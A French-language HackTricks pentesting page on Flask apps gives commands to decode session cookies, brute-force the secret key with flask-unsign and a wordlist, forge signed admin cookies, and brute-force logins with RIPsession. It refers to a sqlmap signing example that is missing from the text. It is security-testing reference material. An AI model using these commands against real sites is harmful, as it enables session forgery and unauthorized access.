hacktricks/network-services-pentesting/pentesting-web/flask.md
2023-06-03 13:10:46 +00:00

7.6 KiB

Flask

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Probablement, si vous jouez à un CTF, une application Flask sera liée à SSTI.

Cookies

Le nom de session de cookie par défaut est session.

Décodeur

Décodeur de cookies Flask en ligne : https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64>

echo "ImhlbGxvIg" | base64 -d

Le cookie est également signé à l'aide d'un mot de passe.

Flask-Unsign

Outil en ligne de commande pour récupérer, décoder, forcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

Il est possible de décoder un cookie Flask en utilisant la bibliothèque itsdangerous. Cette bibliothèque est utilisée par Flask pour signer les cookies et les tokens.

Voici un exemple de code pour décoder un cookie Flask :

from itsdangerous import URLSafeTimedSerializer

s = URLSafeTimedSerializer(app.secret_key)
decoded_data = s.loads(cookie_value)

Dans cet exemple, app.secret_key est la clé secrète de l'application Flask et cookie_value est la valeur du cookie à décoder.

Le résultat de la fonction s.loads() est un objet Python contenant les données du cookie.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

Le Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signature

Une signature est un moyen de garantir l'intégrité et l'authenticité des données. Elle est généralement utilisée pour vérifier que les données n'ont pas été altérées et qu'elles ont été créées par une source de confiance. Flask prend en charge la signature des cookies et des sessions pour garantir que les données ne sont pas altérées.

La signature des cookies est activée par défaut dans Flask. Cela signifie que toutes les données stockées dans les cookies sont signées et que Flask vérifie automatiquement la signature lorsqu'un cookie est reçu. Si la signature ne correspond pas, Flask considère le cookie comme invalide et le supprime.

La signature des sessions est également activée par défaut dans Flask. Cela signifie que toutes les données stockées dans la session sont signées et que Flask vérifie automatiquement la signature lorsqu'une session est reçue. Si la signature ne correspond pas, Flask considère la session comme invalide et la supprime.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signature avec des versions anciennes (legacy)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Outil en ligne de commande pour effectuer une attaque de force brute sur des sites web en utilisant des cookies créés avec flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

  ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Cet exemple utilise l'option eval de sqlmap pour signer automatiquement les charges utiles de sqlmap pour Flask en utilisant un secret connu.

Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥